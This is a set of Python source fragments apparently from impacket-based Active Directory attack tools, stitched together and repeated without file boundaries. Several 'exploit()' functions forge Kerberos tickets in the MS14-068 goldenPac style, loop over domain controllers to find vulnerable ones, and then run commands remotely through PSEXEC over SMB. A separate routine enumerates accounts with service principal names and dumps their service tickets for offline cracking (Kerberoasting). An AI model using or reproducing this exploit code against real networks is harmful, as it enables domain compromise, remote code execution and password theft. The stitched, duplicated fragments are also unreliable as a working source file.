kdcRep['ticket']['enc-part'][ 'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value kdcRep['enc-part'][ 'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part'][ 'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value kdcRep['enc-part'][ 'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part'][ 'etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['kvno'] = 2 kdcRep['enc-part']['cipher'] = noValue pacInfos = self.createBasicPac(kdcRep) return kdcRep, pacInfos
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket from pyasn1.codec.der import decoder, encoder import datetime if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') # First of all, we need to get a TGT for the user userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal('ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) credentials = SaslCredentials() credentials['mechanism'] = LDAPString('GSS-SPNEGO') credentials['credentials'] = Credentials(blob.getData()) bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % ( resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def exploit(self): self.__domainSid, self.__rid = self.getUserSID() userName = Principal( self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: raise else: raise # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode( str(pa['padata-value'])[2:], asn1Spec=ETYPE_INFO2_ENTRY())[0] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype, self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal( 'krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS( serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal( 'cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS( serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: raise else: raise
if self.__requestTGS is True or self.__requestUser is not None: # Let's get unique user names and a SPN to request a TGS for users = dict( (vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.iteritems(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd) except Exception , e: logging.error(str(e)) if fd is not None: fd.close() else: print "No entries found!" # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init()
def run(self): self.__target = self.__kdcHost # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost) ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: raise # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" try: resp = ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=999) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: module.log('sizeLimitExceeded exception caught, giving up and processing the data received', level='debug') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() else: raise answers = [] module.log('Total of records returned {}'.format(len(resp)), level='info') for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if attribute['type'] == 'sAMAccountName': if str(attribute['vals'][0]).endswith('$') is False: # User Account sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif attribute['type'] == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) elif attribute['type'] == 'memberOf': memberOf = str(attribute['vals'][0]) elif attribute['type'] == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif attribute['type'] == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif attribute['type'] == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: module.log('Bypassing disabled account {}'.format(sAMAccountName), level='debug') else: for spn in SPNs: answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon]) except Exception as e: module.log('Skipping item, cannot process due to error', level='error') if len(answers)>0: self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"]) if self.__requestTGS is True: # Let's get unique user names and a SPN to request a TGS for users = dict( (vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() for user, SPN in users.items(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN) except Exception as e: module.log('SPN Exception: {} - {}'.format(SPN, str(e)), level='error') else: module.log('No entries found!', level='info')
def exploit(self): self.__domainSid, self.__rid = self.getUserSID() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: raise else: raise # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] enctype = etype2['etype'] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: raise else: raise
def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target)